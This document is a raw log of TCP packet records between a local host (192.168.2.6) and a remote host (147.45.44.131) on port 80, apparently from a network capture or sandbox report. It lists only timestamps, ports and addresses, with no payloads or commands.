Jan 7, 2025 06:12:05.126274109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126283884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126288891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.126297951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126308918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126329899 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.126353979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.126430035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126441956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126451015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126462936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126472950 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.126596928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126606941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126617908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126631975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.126662016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.128927946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.128943920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.128953934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.128964901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.128976107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.128987074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.128998041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.128998041 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129020929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129048109 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129074097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129086018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129096985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129107952 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129118919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129118919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129129887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129141092 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129143000 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129159927 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129255056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129266024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129276037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129304886 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129306078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129326105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129336119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129345894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129355907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129358053 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129367113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129376888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129390955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129410982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129456997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129467964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129478931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129489899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129491091 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129502058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129513025 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129513025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129537106 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129812956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129825115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129833937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129843950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129849911 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129857063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129868031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129883051 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129916906 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.129962921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129975080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129985094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.129998922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130008936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130012035 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.130019903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130031109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130040884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130050898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130062103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.130095959 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.130136013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130146980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130157948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130170107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130178928 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.130213976 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.130975008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130985022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.130995989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131000996 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131037951 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131077051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131088018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131100893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131110907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131139040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131140947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131158113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131161928 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131169081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131180048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131187916 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131191015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131202936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131210089 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131212950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131231070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131243944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131259918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131270885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131277084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131280899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131292105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131302118 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131303072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131320953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131329060 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131355047 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131357908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131376028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131386042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131396055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131402969 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131421089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131432056 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131437063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131448984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131459951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131469965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131479979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131484032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131485939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131500006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131510019 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131510973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131524086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131534100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.131536007 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.131561995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217199087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217216015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217231035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217241049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217273951 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217355967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217372894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217384100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217391968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217396021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217406988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217417002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217422009 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217422962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217434883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217444897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217451096 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217457056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217483044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217500925 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217752934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217766047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217781067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217788935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217792034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217803955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217813015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217819929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217823982 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217834949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.217844009 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.217869043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.218132019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.218167067 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.218178034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.218211889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.218244076 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.218246937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.218260050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.218270063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.218281031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.218297005 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.218312979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224497080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224517107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224526882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224536896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224559069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224565983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224594116 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224673986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224685907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224695921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224716902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224729061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224735975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224744081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224759102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224771023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224776983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224795103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224807024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224813938 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224817991 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224829912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224841118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224853039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.224857092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224898100 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.224992037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225004911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225017071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225028038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225034952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225045919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225056887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225158930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225171089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225181103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225192070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225202084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225208044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225234985 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225307941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225318909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225332022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225342989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225347996 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225356102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225382090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225501060 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225512981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225523949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225534916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225543976 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225545883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225558043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225569010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225573063 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225580931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225588083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225601912 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225617886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225624084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225629091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225686073 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225792885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225805044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225816965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225826979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225832939 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225838900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225850105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225857019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.225862980 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.225887060 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226142883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226155043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226166010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226176977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226183891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226188898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226195097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226202965 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226207018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226219893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226231098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226232052 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226243019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226248026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226255894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226286888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226299047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226310015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226320028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226330042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226332903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226341963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226352930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226356030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226366043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226382017 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226393938 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226501942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226516008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226526976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226537943 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226545095 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226548910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226561069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226572037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226572990 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226589918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226602077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226608038 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226612091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226624012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226632118 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226634026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226646900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226661921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226674080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226681948 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226685047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226697922 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.226699114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.226715088 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313083887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313116074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313133955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313143969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313152075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313163042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313180923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313191891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313194036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313204050 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313205957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313218117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313226938 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313237906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313241959 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313255072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313267946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313277006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313277006 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313287973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313302040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313321114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313325882 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313347101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313358068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313368082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313378096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313388109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313395977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313396931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313409090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313419104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313425064 CET	49712	80	192.168.2.6	147.45.44.131
